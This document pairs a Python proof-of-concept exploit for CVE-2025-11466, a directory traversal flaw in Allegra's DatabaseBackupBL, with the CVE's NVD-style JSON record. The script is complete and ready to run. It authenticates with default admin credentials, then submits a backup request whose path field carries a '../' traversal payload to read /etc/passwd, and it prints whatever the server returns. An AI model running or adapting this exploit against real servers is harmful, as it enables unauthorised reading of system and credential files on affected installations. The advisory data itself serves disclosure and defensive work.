CVE-2025-11466

# CVE-2025-11466 Directory Traversal PoC # Target: Allegra DatabaseBackupBL # Note: Requires authenticated access import requests import os target_url = "http://target-allegra-server.com" login_url = f"{target_url}/api/auth/login" backup_url = f"{target_url}/api/database/backup" # Authentication credentials credentials = { "username": "admin", "password": "password" } # Directory traversal payload to read /etc/passwd traversal_payload = "../../../../../../etc/passwd" def exploit(): # Step 1: Authenticate to get session token session = requests.Session() auth_response = session.post(login_url, json=credentials) if auth_response.status_code != 200: print("[-] Authentication failed") return token = auth_response.json().get('token') print(f"[+] Authentication successful, token: {token[:20]}...") # Step 2: Send malicious backup request with directory traversal headers = { "Authorization": f"Bearer {token}", "Content-Type": "application/json" } exploit_data = { "backup_path": traversal_payload, "action": "backup" } response = session.post(backup_url, json=exploit_data, headers=headers) if response.status_code == 200: print("[+] Exploit successful - File content retrieved") print(response.text) else: print(f"[-] Exploit failed with status: {response.status_code}") if __name__ == "__main__": exploit()

{"cve": {"id": "CVE-2025-11466", "sourceIdentifier": "[email protected]", "published": "2025-10-29T20:15:36.450", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Allegra DatabaseBackupBL Directory Traversal Information Disclosure Vulnerability. This vulnerability allows remote attackers to disclose sensitive information on affected installations of Allegra. Authentication is required to exploit this vulnerability.\n\nThe specific flaw exists within the DatabaseBackupBL class. The issue results from the lack of proper validation of a user-supplied path prior to using it in file operations. An attacker can leverage this vulnerability to disclose information in the context of the service account. Was ZDI-CAN-27136."}], "metrics": {"cvssMetricV30": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.0", "vectorString": "CVSS:3.0/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:N/A:N", "baseScore": 4.9, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "HIGH", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 1.2, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-22"}]}], "references": [{"url": "https://alltena.com/en/resources/release-notes/release-notes-for-release-8-1-6", "source": "[email protected]"}, {"url": "https://www.zerodayinitiative.com/advisories/ZDI-25-951/", "source": "[email protected]"}]}}